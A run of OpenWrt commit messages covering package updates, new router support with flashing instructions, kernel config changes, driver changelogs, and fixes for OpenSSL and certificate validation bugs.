Signed-off-by: Petr Štetiar <ynezz@true.cz>
0fdfef9aa7ee68ddd508aef7c98630cfc054f8d6 upstream removed CIFS_SMB311.
Kernels 4.19 and above do not have it. Currently only kernels 4.19 and
5.4 are in the tree.
The Kconfig file in the kernel has more selection that what is in here.
Add the rest and reorder based on upstream ordering.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
The paths are pointing to OS paths, not OpenWrt ones. Use SED line from
libpng to fix and adjust accordingly.
This may allow certain packages that use the config file to pick up pcre.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Updated ABI_VERSION.
Switched PKG_BUILD_PARALLEL on as there seems to be no issue anymore.
I can't find any information about why it was turned off.
Fixed license information.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Upstream switched to building with CMake. Adjust accordingly.
Reapplied patch as upstream changed the file format.
Added HOST_BUILD_PARALLEL for faster compilation.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
hostapd.sh does not parse skip_inactivity_poll boolean from
/etc/config/wireless despite being mentioned in the documentation [1].
This change fixes this, and by default sets its value to 0 [1].
[1] https://openwrt.org/docs/guide-user/network/wifi/basic
Signed-off-by: Nadim Atiya <nadim.atiya@gmail.com>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
[fix and reformat commit message, make patch apply]
Commit "initramfs: switch to tmpfs to fix ujail" switched initramfs to
now use tmpfs, it causes $(rootfs_type) to now return tmpfs when
running initramfs image instead of being empty.
This broke initramfs detection which prevents config files from
being saved as it does not work from initramfs.
So, lets test for $(rootfs_type) returning "tmpfs" instead.
Fixes: 7fd3c68 ("initramfs: switch to tmpfs to fix ujail)
Signed-off-by: Robert Marko <robimarko@gmail.com>
Commit "initramfs: switch to tmpfs to fix ujail" switched initramfs to
now use tmpfs, it causes $(rootfs_type) to now return tmpfs when
running initramfs image instead of being empty.
This broke initramfs detection which is required so that when installing
on MikroTik devices firmware partition would first get erased fully
before writing.
So, lets test for $(rootfs_type) returning "tmpfs" instead.
Fixes: 7fd3c68 ("initramfs: switch to tmpfs to fix ujail)
Signed-off-by: Robert Marko <robimarko@gmail.com>
So we can ship px5g-wolfssl by default in the release image, but still
make the HTTPS for LuCI optional. This small change with addition of
`CONFIG_PACKAGE_px5g-wolfssl=y` into the buildbot's seed config for the
next release should provide optional HTTPS in the next release.
Disabling the current default automatic uhttpd's redirect to HTTPS
should make the HTTPS optional. That's it, user would either need to
switch to HTTPS by manually switching to https:// protocol in the URL or
by issuing the following commands to make the HTTPS automatic redirect
permanent:
$ uci set uhttpd.main.redirect_https=1
$ uci commit uhttpd
$ service uhttpd reload
Signed-off-by: Petr Štetiar <ynezz@true.cz>
MIPS 32 bit support for sanitizer was added with GCC 9, MIPS 64 bit and
ARC are still not supported in GCC 10.
Deactivate them for now and change this when we change the default
compiler to GCC 9 or later.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The flash capacity is divided in two flash chips and currently only
first is used. Increase available space for OpenWrt by additional 16 MiB
using mtd-concat driver. Because U-Boot might not be able to load kernel
image spanned through two flash chips, the size of kernel is limited
to space available on first first chip.
Cc: Vladimir Georgievsky <vladimir.georgievsky@yahoo.com>
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
AirTight Networks (later renamed to Mojo Networks) C-75 is a dual-band
access point, also sold by WatchGuard under name AP320.
Specification
SoC: Qualcomm Atheros QCA9550
RAM: 128 MiB DDR2
Flash: 2x 16 MiB SPI NOR
WIFI: 2.4 GHz 3T3R integrated
5 GHz 3T3R QCA9890 oversized Mini PCIe card
Ethernet: 2x 10/100/1000 Mbps QCA8334
port labeled LAN1 is PoE capable (802.3at)
USB: 1x 2.0
LEDs: 7x which two are GPIO controlled, four switch controlled, one
controlled by wireless driver
Buttons: 1x GPIO controlled
Serial: RJ-45 port, Cisco pinout
baud: 115200, parity: none, flow control: none
JTAG: Yes, pins marked J1 on PCB
Installation
1. Prepare TFTP server with OpenWrt initramfs-kernel image.
2. Connect to one of LAN ports.
3. Connect to serial port.
4. Power on the device and when prompted to stop autoboot, hit any key.
5. Adjust "ipaddr" and "serverip" addresses in U-Boot environment, use
'setenv' to do that, then run following commands:
tftpboot 0x81000000 <openwrt_initramfs-kernel_image_name>
bootm 0x81000000
6. Wait about 1 minute for OpenWrt to boot.
7. Transfer OpenWrt sysupgrade image to /tmp directory and flash it
with:
sysupgrade -n /tmp/<openwrt_sysupgrade_image_name>
8. After flashing, the access point will reboot to OpenWrt. Wait few
minutes, until the Power LED stops blinking, then it's ready for
configuration.
Known issues
Green power LED does not work.
Additional information
The U-Boot fails to initialise ethernet ports correctly when a UART
adapter is attached to UART pins (marked J3 on PCB).
Cc: Vladimir Georgievsky <vladimir.georgievsky@yahoo.com>
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
Adjust spelling of vendor names to what is used in other places.
Signed-off-by: Moritz Warning <moritzwarning@web.de>
[improve commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Adjust spelling of vendor name to what is used in other places.
Also move definition in shared section.
Signed-off-by: Moritz Warning <moritzwarning@web.de>
[improve commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
These parameters are the same as in vr9.dtsi. This patch removes
redundant parameters.
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
7f53d68b1af9 mt76: mt7615: add debugfs knob for setting extended local mac addresses
1a2547b27dfc mt76: do not set NEEDS_UNIQUE_STA_ADDR for 7615 and 7915
2741fd071bb7 mt76: mt7915: support 32 station interfaces
709f2cd77810 mt76: mt7915: fix processing txfree events
434940e08233 mt76: mt7915: measure channel noise and report it via survey
236326896589 mt76: mt7615: retry if mt7615_mcu_init returns -EAGAIN
b5c593b63f4c mt76: mt7663s: move tx/rx processing in the same txrx workqueue
75157b59ae4e mt76: mt7663s: convert txrx_work to mt76_worker
6dc67b058e2a mt76: mt7663s: disable interrupt during txrx_worker processing
b381729626bb mt76: sdio: convert {status/net}_work to mt76_worker
9cb12f7042cc mt76: mt7915: fix DRR sta bss group index
75977a85e844 mt76: mt7915: disable OFDMA/MU-MIMO UL
6cdebe805862 mt76: rename __mt76_mcu_send_msg to mt76_mcu_send_msg
eb9afae96b65 mt76: rename __mt76_mcu_skb_send_msg to mt76_mcu_skb_send_msg
8c73f3b15ada mt76: implement .mcu_parse_response in struct mt76_mcu_ops
fcfbb046c2f3 mt76: move mcu timeout handling to .mcu_parse_response
477caa196ffe mt76: move waiting and locking out of mcu_ops->mcu_skb_send_msg
a4d71501bad6 mt76: make mcu_ops->mcu_send_msg optional
80c310c59ad1 mt76: mt7603: switch to .mcu_skb_send_msg
082b26181013 mt76: implement functions to get the response skb for MCU calls
ee40800df2e4 mt76: mt7915: move eeprom parsing out of mt7915_mcu_parse_response
d33943baac47 mt76: mt7915: query station rx rate from firmware
b8874e8756d9 mt76: add back the SUPPORTS_REORDERING_BUFFER flag
633ae5961db6 mt76: mt7615: enable beacon filtering by default for offload fw
9a203fea3540 mt76: mt7615: introduce quota debugfs node for mt7663s
f9ae638af7e2 mt76: mt7663s: get rid of mt7663s_sta_add
1a5758d894d0 mt76: mt7663s: fix a possible ple quota underflow
dea10c03316f mt76: sdio: get rid of sched.lock
eb4c09957938 mt76: mt7915: set fops_sta_stats.owner to THIS_MODULE
594890b11155 mt76: mt7915: update ppe threshold
8884a5def518 mt76: mt7915: rename mt7915_mcu_get_rate_info to mt7915_mcu_get_tx_rate
33b89f4a1bf4 mt76: set fops_tx_stats.owner to THIS_MODULE
4d019c9672ec sync with upstream changes
35e3cd1db479 mt76: mt7603: fix ED/CCA monitoring with single-stream devices
4f9f79b085b1 wireless: mt76: convert tasklets to use new tasklet_setup() API
20e8cf935ed0 mt76: dma: fix possible deadlock running mt76_dma_cleanup
36089a655f58 mt76: mt7915: fix sparse warning cast from restricted __le16
68c4eedafd61 mt76: fix memory leak if device probing fails
9a1a0a4dec71 mt76: mt7603: add additional EEPROM chip ID
01b943295719 mt76: move mt76_mcu_send_firmware in common module
0aee4999902a mt76: mt7663s: introduce WoW support via GPIO
79ebad117325 mt76: switch to wep sw crypto for mt7615/mt7915
af139725193a mt76: fix tkip configuration for mt7615/7663 devices
664e66b35c0b mt76: mt7615: run key configuration in mt7615_set_key for usb/sdio devices
f675358267d6 mt76: mt76u: rely on woker APIs for rx work
b9f9c16cb1bd mt76: mt76u: use dedicated thread for status work
cdeb1b29cd15 mt76: testmode: switch ib and wb rssi to array type for per-antenna report
0a898c0549b6 mt76: testmode: add snr attribute in rx statistics
3ea9a0433bcc mt76: testmode: add tx_rate_stbc parameter
73427ebbbd27 mt76: testmode: add support for LTF and GI combinations for HE mode
88ebccfe8a39 mt76: mt7915: fix tx rate related fields in tx descriptor
9909c0551e4c mt76: testmode: add support for HE rate modes
03ed0909f922 mt76: mt7915: implement testmode tx support
0aa696834a9c mt76: mt7915: implement testmode rx support
5ed3a34b46ce mt76: mt7915: add support to set txpower in testmode
f86361654e94 mt76: mt7915: add support to set tx frequency offset in testmode
64a765be750a mt76: mt7915: make mt7915_eeprom_read static
9b48c13b52f7 mt76: mt7915: use BIT_ULL for omac_idx
27227fd57ea7 mt76: mt7915: remove unused mt7915_mcu_bss_sync_tlv()
cd795267612d mt76: mt7615: support 16 interfaces
82da525ad0c8 mt76: mt7615: refactor usb/sdio rate code
b9a50da503ad mt76: mt7915: rely on eeprom definitions
c79d18723df0 mt76: move mt76_init_tx_queue in common code
b0b221e91445 mt76: sdio: introduce mt76s_alloc_tx_queue
caba5a99e5ae mt76: sdio: rely on mt76_queue in mt76s_process_tx_queue signature
3ed4aad81ce9 mt76: mt7663s: rely on mt76_queue in mt7663s_tx_run_queue signature
216cf8b28579 mt76: dma: rely on mt76_queue in mt76_dma_tx_cleanup signature
0f9350bef1b5 mt76: rely on mt76_queue in tx_queue_skb signature
8932975be066 mt76: introduce mt76_init_mcu_queue utility routine
b0eb7edcc624 mt76: rely on mt76_queue in tx_queue_skb_raw signature
ccd62467d0f3 mt76: move mcu queues to mt76_dev q_mcu array
2e217fb9e962 mt76: move tx hw data queues in mt76_phy
576647f2ec6a mt76: mt7915: fix endian issues
e881fd67c718 mt76: move band capabilities in mt76_phy
c728cecd7b77 mt76: rely on mt76_phy in mt76_init_sband_2g and mt76_init_sband_5g
231ef27697f9 mt76: move band allocation in mt76_register_phy
8aa24c91b13b mt76: move hw mac_addr in mt76_phy
b436da4d9d92 mt76: mt7915: introduce dbdc support
1e34a02c2dcb mt76: mt7915: get rid of dbdc debugfs knob
d8e681bd3268 mt76: mt7615: fix rdd mcu cmd endianness
19c9e277eff6 mt76: mt7915: fix memory leak in mt7915_mcu_get_rx_rate()
e361b6a71e4b mt76: improve tx queue stop/wake
fb24e5f2305b mt76: mt7915: stop queues when running out of tx tokens
066cc441eb8f mt76: attempt to free up more room when filling the tx queue
93c806a34ec2 mt7915: fix minor issues in the token queue blocking change
c017e329a326 mt76: mt7915: ensure that init work completes before starting the device
9e9da427b8a6 mt76: mt7915: fix polling firmware-own status
5cd805ddfb25 mt76: add more conditions for stopping tx scheduling
aa893c73bf85 mt76: mt7915; increase txq memory limit for non-DBDC 7915 cards to 32 MiB
e44b7c91070e mt76: skip queue stop/wake, rely entirely on txq scheduling
6c6a5c59c101 mt76: mt7915: do not set DRR group for stations
510cb5be1bf7 mt76: usb: remove wake logic in mt76u_status_worker
34f318a25421 mt76: sdio: remove wake logic in mt76s_process_tx_queue
4a90fdf6105e mt76: mt76s: fix NULL pointer dereference in mt76s_process_tx_queue
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The PPE only provides a 14 bit hash, however many uses of the skb hash
expect the hash to use the full 32 bit range.
Use jhash to extend the hash to the full size
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The PKG_MIRROR_HASH was not updated when updating the package.
Fixes: f75c70aeca ("nat46: update to latest git HEAD")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
phy-mode is already set to rgmii for eth0 and sgmii for eth1 in
qca955x.dtsi, no need to do that again in the device DTS files.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The GL-MT1300 is a high-performance new generation pocket-sized router
that offers a powerful hardware and first-class cybersecurity protocol
with unique and modern design.
Specifications:
- SoC: MT7621A, Dual-Core @880MHz
- RAM: 256 MB DDR3
- Flash: 32 MB
- Ethernet: 3 x 10/100/1000: 2 x LAN + 1 x WAN
- Wireless: 1 x MT7615D Dual-Band 2.4GHz(400Mbps) + 5GHz(867Mbps)
- USB: 1 x USB 3.0 port
- Slot: 1 x MicroSD card slot
- Button: 1 x Reset button
- Switch: 1 x Mode switch
- LED: 1 x Blue LED + 1 x White LED
MAC addresses based on vendor firmware:
WAN : factory 0x4000
LAN : Mac from factory 0x4000 + 1
2.4GHz : factory 0x4
5GHz : Mac form factory 0x4 + 1
Flashing instructions:
1.Connect to one of LAN ports.
2.Set the static IP on the PC to 192.168.1.2.
3.Press the Reset button and power the device (do not release the button).
After waiting for the blue led to flash 5 times, the white led will
come on and release the button.
4.Browse the 192.168.1.1 web page and update firmware according to web
tips.
5.The blue led will flash when the firmware is being upgraded.
6.The blue led stops blinking to indicate that the firmware upgrade is
complete and U-Boot automatically starts the firmware.
For more information on GL-MT1300, see the OFFICIAL GL.iNet website:
https://www.gl-inet.com/products/gl-mt1300/
Signed-off-by: Xinfa Deng <xinfa.deng@gl-inet.com>
[add input-type for switch, wrap long line in 10_fix_wifi_mac]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The sub target does not support network and there are not so many users
out there, just mark it as source only, so we do jot have to build it.
The quality is not worse than before, it just does not make much sense
to build this automatically.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This adds the CONFIG_IRQSOFF_TRACER and the CONFIG_PREEMPT_TRACER kernel
configuration option to the OpenWrt menu. This can be used to debug
latencies in the system.
The CONFIG_PREEMPT_TRACER option needs the CONFIG_PREEMPT option which is
supposed to be used for Low-Latency Desktop and not used by many targets
in OpenWrt.
The help text is copied from the Linux kernel Kconfig.
Signed-off-by: Hauke Mehrtens <hmehrtens@maxlinear.com>
Cleanup Makefile for consistency with other ones.
Remove PKG_SSP. It can be fixed with -lssp_nonshared.
Add PKG_BUILD_PARALLEL for faster compilation.
Add zlib dependency. 1.5.0 requires it now.
Refresh patches.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
GCC was used in 17.01 as the default compiler the last time. We do not
test this old GCC version any more and there are some known problems it
fails to compile the U-Boot for the Allwinner A64 SoC.
Just remove it to make it clear that we will not support this old GCC
version any more.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Acked-by: Paul Spooren <mail@aparcar.org>
Package architecture aarch64_generic [1] can be used just with three
devices. One is NanoPI R2S and then there are two development boards
from NXP. Let's change armvirt/64 to Cortex A53 (aarch64_cortex-a53)
[2]. It has wider support by multiple devices like NanoPI Neo Plus2/Core2,
ESPRESSObin, Pine64, and Raspberry Pi 2&3.
While looking at ARMvirt/32 it has set CPU_TYPE and CPU_SUBTYPE to be
arm_cortex-a15_neon-vfpv4 [3]. It has support to devices like
Linksys EA8500 v1, Linksys EA7500 v1, Netgear D7800, Netgear R7500 and so on.
Tested with:
qemu-system-aarch64 -m 1024 -smp 2 -cpu cortex-a57 -M virt -nographic \
-kernel openwrt-armvirt-64-Image-initramfs
Successfully compiled and booted.
Here goes the output:
root@OpenWrt:/# uname -a
Linux OpenWrt 5.4.82 #0 SMP Sun Dec 13 12:52:10 2020 aarch64 GNU/Linux
root@OpenWrt:/# cat /etc/openwrt_release
DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='SNAPSHOT'
DISTRIB_REVISION='r15207-96fca0f807'
DISTRIB_TARGET='armvirt/64'
DISTRIB_ARCH='aarch64_cortex-a53'
DISTRIB_DESCRIPTION='OpenWrt SNAPSHOT r15207-96fca0f807'
DISTRIB_TAINTS='no-all'
Also, change BOARDNAME to be the same as it is in armvirt/32.
[1] https://openwrt.org/docs/techref/instructionset/aarch64_generic
[2] https://openwrt.org/docs/techref/instructionset/aarch64_cortex-a53
[3] https://openwrt.org/docs/techref/instructionset/arm_cortex-a15_neon-vfpv4
Signed-off-by: Josef Schlehofer <pepe.schlehofer@gmail.com>
Enable CONFIG_KEYS by default on systems which are not marked as
flash-space constraint by the 'small_flash' feature.
CONFIG_KEYS is required by Docker, enabling it in our kernel allows
users to run Docker on stock OpenWrt.
It is also used of by some network file systems (such as NFSv4) to
store credentials as well as UID/GID mappings.
Adds about 50kB to vmlinux on ath79/generic (~18kB compressed)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Add KERNEL_KEYS_REQUEST_CACHE option.
'tristate' (ie. module builds) are not valid in Config-kernel.in, hence
remove tristate KERNEL_ENCRYPTED_KEYS. It will be readded as a kernel
module in a follow-up commit.
Fixes: 39d817cf38 ("Add config symbols for kernel keyring support")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This device has (almost?) identical hardware to the F9J1108 v2 but uses
a different firmware magic and model number.
Specifications:
SoC: QCA9558
CPU: 720 MHz
Flash: 16 MiB NOR
RAM: 128 MiB
WiFi 2.4 GHz: QCA9558-AT4A 3x3 MIMO 802.11b/g/n
WiFi 5 GHz: QCA9880-2R4E 3x3 MIMO 802.11a/n/ac
Ethernet: 4x LAN and 1x WAN (all 1Gbit/s ports)
USB: 1 x USB 2.0 (lower), 1 x USB 3.0 (upper)
MAC addresses based on OEM firmware:
Interface Address Location
--------- ------- --------
lan *:5A sometimes in 0x6
wan *:5B 0x0
2.4Ghz *:5A 0x1002
5Ghz As per mini PCIe EEPROM
Flashing instructions:
The factory.bin can be flashed via the Belkin web UI or via the uboot
HTTP upgrade page (which is by default listening on 192.168.2.1). Once
the factory.bin has been written, sysupgrade.bin will work as usual.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Belkin F9J1108 v2 and F9K1115 v2 are (seemingly) identical hardware
with different model numbers. Extract all non-device specific code to a
common .dtsi so it can be re-used when adding support for the
F9K1115 v2.
Similar to the .dtsi most of the image building recipe code can be
re-used. Move everything except the device model, edimax header magic
and edimax header model into a shared build recipe.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
[drop duplicate TARGET_DEVICES, add EDIMAX_* to DEVICE_VARS, edit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds new strings for the v3.20 to the support list of the
already supported TP-Link CPE510 v3.
The underlying hardware appears to be the same, similar to the
situation with CPE210 v3.20 in 4a2380a1e7 ("tplink-safeloader:
expand support list for TP-Link CPE210 v3")
Signed-off-by: Gioacchino Mazzurco <gio@altermundi.net>
[extended commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2c843b2bc04c Add initial GitLab CI support
073f89f567c0 uclient-fetch: wolfSSL: fix certificate validation
086c292160ac uclient-fetch: init_ca_cert: fix memory leak
a3c1a88b031a cmake: enable extra compiler checks
32ff717ed316 uclient-http: fix extra compiler warnings on mips_24kc and cortex-a9+neon
86a2ac6ac46f uclient-fetch: fix potential memory leaks
158dd9dd289c uclient: fix initialized but never read variable
66b4420856a7 uclient-fetch: fix statement may fallt hrough
436f9b3af2ad uclient-http: fix freeing of stack allocated memory
e6b5b8a98ce2 Fix extra compiler warnings
12df67e45bb0 Add basic cram based unit tests
b6e34845124f cmake: fix building out of the tree
Signed-off-by: Petr Štetiar <ynezz@true.cz>
68d09243b6fd Add initial GitLab CI support
8280140db9d1 wolfssl: remove now deprecated compatibility code
cee6791b362a ustream-mbedtls: fix certificate verification
55c3fd89d508 ustream-mbedtls: implement set_require_validation
c6b4c48689a3 ustream-openssl: wolfSSL: fix certificate validation
3bc05402bfab cmake: enable extra compiler checks
cd2c3d12db43 ustream-mbedtls: fix comparison of integers of different signs
5896991e46a3 ustream-openssl: fix BIO_method memory leak
2c342ae57c5b ustream-openssl: fix wolfSSL includes
fa8ecd6ed140 cmake: fix linking when mbed TLS not in default paths
63656f81045f cmake: fix linking when wolfSSL not in default paths
c26f71e844df cmake: fix building out of the tree
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Some images are created using different filesystems, most popular
squashfs and ext4. To allow downstream projects to distinguesh between
those, add the `filesystem` information to created json files.
Signed-off-by: Paul Spooren <mail@aparcar.org>
This reverts the usage of the S-Tag for separating LAN and WAN port on
the embedded switch. Many users complained about not being able to
manage C-Tag addition / removal on the switch as well as degraded
performance.
Fixes: commit 9da2b56760 ("ipq40xx: fix ethernet vlan double tagging")
Signed-off-by: David Bauer <mail@david-bauer.net>
The ASUS MAP-AC2200 suffers from a lower transmit/receive
signal power as compared to the stock firmware.
Upon investigation, it was discovered that stock firmware from
the GPL_MAP-AC2200_3.0.0.4.384.46249-g97d05bb.tar archive.
set the following GPIOs in "release/src/router/rc/init.c".
GPIO 44 and 46 have to be set to output high
GPIO 45 and 47 have to be set to output low
Here are some results, after activating the relevant
gpios through cmdline:
<https://forum.openwrt.org/t/asus-map-ac2200-low-transmit-receive-signal-5ghz/69005/12>
THX @ slh
Fixes: 9ad3967f14 ("ipq40xx: add support for ASUS Lyra")
Signed-off-by: Yushi Nishida <kyro2man@gmx.net>
[slightly rewritten commit, added missing <>)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
gcc 10 defaults to -fno-common, which causes an error
when linking.
Back-port the following Linux kernel commit to fix it:
e33a814e772c (scripts/dtc: Remove redundant YYLOC global declaration)
Tested on an Arch Linux host with gcc 10.1.0
Signed-off-by: Luis Araneda <luaraneda@gmail.com>
0c6fb90 jffs2-reset: allow doing a factory reset and passing a sysupgrade.tgz
4862530 mount: restorecon: guard against execl() errors
f415323 block: replace local mkdir_p implementation
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Add new utility function mkdir_p(char *path, mode_t mode) to replace
the partially buggy implementations found accross fstools and procd.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
You shouldn't need the overhead of GRE just to add multicast
capability on a point-to-point interface (for instance, you might
want to run mDNS over IPsec transport connections, and Avahi
requires IFF_MULTICAST be set on interfaces, even point-to-point
ones).
Borrowed heavily from:
b3c9321b9e gre: Support multicast configurable gre interfaces
Signed-off-by: Philip Prindeville <philipp@redfish-solutions.com>
Fixes: CVE-2020-1971, defined as high severity, summarized as:
NULL pointer deref in GENERAL_NAME_cmp function can lead to a DOS
attack.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
This add support for USB-to-Ethernet Aquantia AQtion
5/2.5GbE adapters based on the AQC111U controllers.
Run-tested: x86
Adapter-tested: Sabrent NT-SS5G
Signed-off-by: Marty Jones <mj8263788@gmail.com>
This adds DTB to kernel and that way makes it possible to easily boot
initramfs image and also kernel.
The sequence to boot initramfs on Omnia is then just:
env set bootargs earlyprintk console=ttyS0,115200
dhcp 0x1000000 192.168.1.1:openwrt-mvebu-cortexa9-cznic_turris-omnia-initramfs-kernel.bin
bootz 0x1000000
Without this change kernel boot won't proceed and is stuck on "Starting
kernel".
Signed-off-by: Karel Kočí <karel.koci@nic.cz>
[fixed From: to match with SoB:]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Bump package version after previous changes.
Signed-off-by: Konstantin Demin <rockdrilla@gmail.com>
[added missing commit description]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
binary size cost is much less than 1k.
tested on ath79/generic:
bin: 215128 -> 215132 (+4b)
ipk: 111183 -> 111494 (+311b)
Signed-off-by: Konstantin Demin <rockdrilla@gmail.com>
this commit removes manual recipes for options and introduces mapping lists:
- DB_OPT_COMMON holds option mappings which are common for all builds;
- DB_OPT_CONFIG holds option mappings which are depend on config settings.
DB_OPT_COMMON is space-separated list of 'words', each of them is in format:
'header_option|value'
'header_option' is added with value 'value' to 'localoptions.h'.
if 'header_option' is preceded by two exclamation marks ('!!')
then option is not added to 'localoptions.h' but replaced in 'sysoptions.h'.
in short:
option|value - add option to localoptions.h
!!option|value - replace option in sysoptions.h
DB_OPT_CONFIG is space-separated list of 'words', each of them is in format:
'header_option|config_variable|value_enabled|value_disabled'
'header_option' is handled likewise in DB_OPT_COMMON.
if 'config_variable' is enabled (technically: not disabled)
then 'header_option' is set to 'value_enabled' and 'value_disabled' otherwise.
in short:
option|config|enabled|disabled = add option to localoptions.h
!!option|config|enabled|disabled = replace option in sysoptions.h
option := (config) ? enabled : disabled
If you're not sure that option's value doesn't have '|' within - add your recipe
manually right after '$(Build/Configure/dropbear_headers)' and write some words
about your decision.
PS about two exclamation marks:
early idea was to use one exclamation mark to denote such header options
but then i thought single exclamation mark may be overlooked by mistake.
Signed-off-by: Konstantin Demin <rockdrilla@gmail.com>
- add two helper functions to avoid mistakes with
choice of correct header file to work with
- update rules accordingly
Signed-off-by: Konstantin Demin <rockdrilla@gmail.com>
put static options at first place, then place configurable options.
also put DROPBEAR_ECC right before DROPBEAR_ECC_FULL to ease maintainance.
Signed-off-by: Konstantin Demin <rockdrilla@gmail.com>
this option was disabled in 2011 and these long nine years showed us that change was definitely wrong.
binary size cost is much less than 1k.
tested on ath79/generic:
bin: 215128 -> 215128 (no change)
ipk: 111108 -> 111183 (+75b)
Fixes: 3c801b3dc0 ("tune some more options by default to decrease size")
Signed-off-by: Konstantin Demin <rockdrilla@gmail.com>
Cppcheck shows self initialization error, which is an obvious bug.
Basing on logic of similar fragment below I assigned to this variable,
value `RTL838X_LED_GLB_CTRL` which I think is proper.
Signed-off-by: Rafał Mikrut <mikrutrafal@protonmail.com>
This dd flag ensures that the requested size
is retrieved from pipes or special filesystems (if available).
Without this flag, on multi-core systems,
Piped or special filesystem data can be truncated
when a size greater than PIPE_BUF is requested.
Fixes: FS#3494
Fixes: 7557e7f ("package/base-files: caldata: work around dd's
limitation")
Cc: Thibaut VARÈNE <hacks@slashdirt.org>
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
This enables all OpenSSL API available. It is required to avoid some
silent failures, such as when performing client certificate validation.
Package size increases from 356.6K to 374.7K for
arm_cortex-a9_vfpv3-d16.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Tnis adds the --enable-lighty option to configure, enabling the minimum
API needed to run lighttpd, in the packages feed. Size increase is
about 120 bytes for arm_cortex-a9_vfpv3-d16.
While at it, speed up build by disabling crypt bench/test.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
The Netgear DGND3700v1/DGND3800B shows kernel redundant info at the board
message, already provided by the machine info message.
Use the real board name which is silkscreened on the PCB and used in the
stock firmware header.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
As discussed in the today's (2020-12-10) meeting, add a new option to
menuconfig to group the selection of all experimental features to be
selected by default.
Developers are recommended to make use of this new symbol to guard
new features.
Other developers and community members should feel encouraged to
build with this flag enabled to help testing and provide feedback.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The previous behavior prefered same feed for dependent packages as
initial package. This caused inconsitency in installation of packages.
The difference was if two feeds provide same package (different version)
there was different result if you executed install for that specific
version compared to install for package depending on it from different
feed.
This ensures that preferred feed is propagated without change and
selected feed is used only really for package it was selected for.
Signed-off-by: Karel Kočí <karel.koci@nic.cz>
efb26a3 libopkg: remove "extra_data" option
1d67ab7 libopkg: remove support for "dist" config
Reduces opkg size by about 400 Bytes.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The package has no reason to be in openwrt.git. Move it to packages.git.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Acked-by: Jo-Philipp Wich <jo@mein.io>
Otherwise, a n00b like myself can get quite confused when moving a
package from core to feeds, for example.
(Hint: one *really* needs to clear out the tmp/info/.packageinfo...
entries for the stale package, but '-f' works as well.)
Signed-off-by: Brian Norris <computersforpeace@gmail.com>
Removed since included upstream and could be reverse-applied by quilt:
backport-5.4/315-v5.10-usbnet-ipeth-fix-connectivity-with-ios-14.patch
Remaining modifications made by update_kernel.sh
Build system: x86_64
Build-tested: ipq806x/R7800, ath79/generic, bcm27xx/bcm2711
Run-tested: ipq806x/R7800
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
Tested-by: Curtis Deptuck <curtdept@me.com> [build/run x86_64]
The lldpd sources ship a modified local AX_LIB_READLINE M4 macro which
conflicts with the official macro shipped by autoconf-archive.
Due to the official macro having the same name and a higher serial
number, autoconf will prefer including that one instead of the local
copy, preventing the substitution of @READLINE_LIBS@ in Makefile.in
templates, ultimately leading to the following build failure when
linking lldpcli:
...-gcc: error: READLINE_LIBS@: No such file or directory
Avoid this problem by renaming the locally shipped macro to not clash
with the official implementation anymore.
Ref: https://github.com/lldpd/lldpd/pull/423
Acked-by: Stijn Tintel <stijn@linux-ipv6.be>
Tested-by: Rosen Penev <rosenp@gmail.com>
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Innacomm W3400V6 is an xDSL B/G wireless router based on Broadcom BCM6328 SoC.
Hardware:
SoC: Broadcom BCM6328
CPU: BMIPS4350 V8.0, 320 MHz, 1 core
Flash: SPI-NOR 8MB, MX25L6406E
RAM: 64 MB
Ethernet: 4x 10/100 Mbps
Switch: Integrated
Wireless: 802.11b/g, BCM4312
LEDs/Buttons: 9x / 2x
Flash instruction, web UI:
1) Set a static IP on your computer compatible
with 192.168.1.1, i.e 192.168.1.100
2) Connect the ethernet cable from your computer to the router.
3) Make sure the router is powered off.
4) Press the reset button, don't release it yet!
5) While pressing reset, power on the router.
6) Wait 10 seconds or more.
Note: The power LED is red at first then turns to solid
green when ready.
8) Release the reset button.
9) Browse to 192.168.1.1
10) Select .bin file.
10) Upgrade the image.
11) Wait for it to reboot.
Signed-off-by: Sieng Piaw Liew <liew.s.piaw@gmail.com>
[Ammend commit description, merge patches, DT improvements]
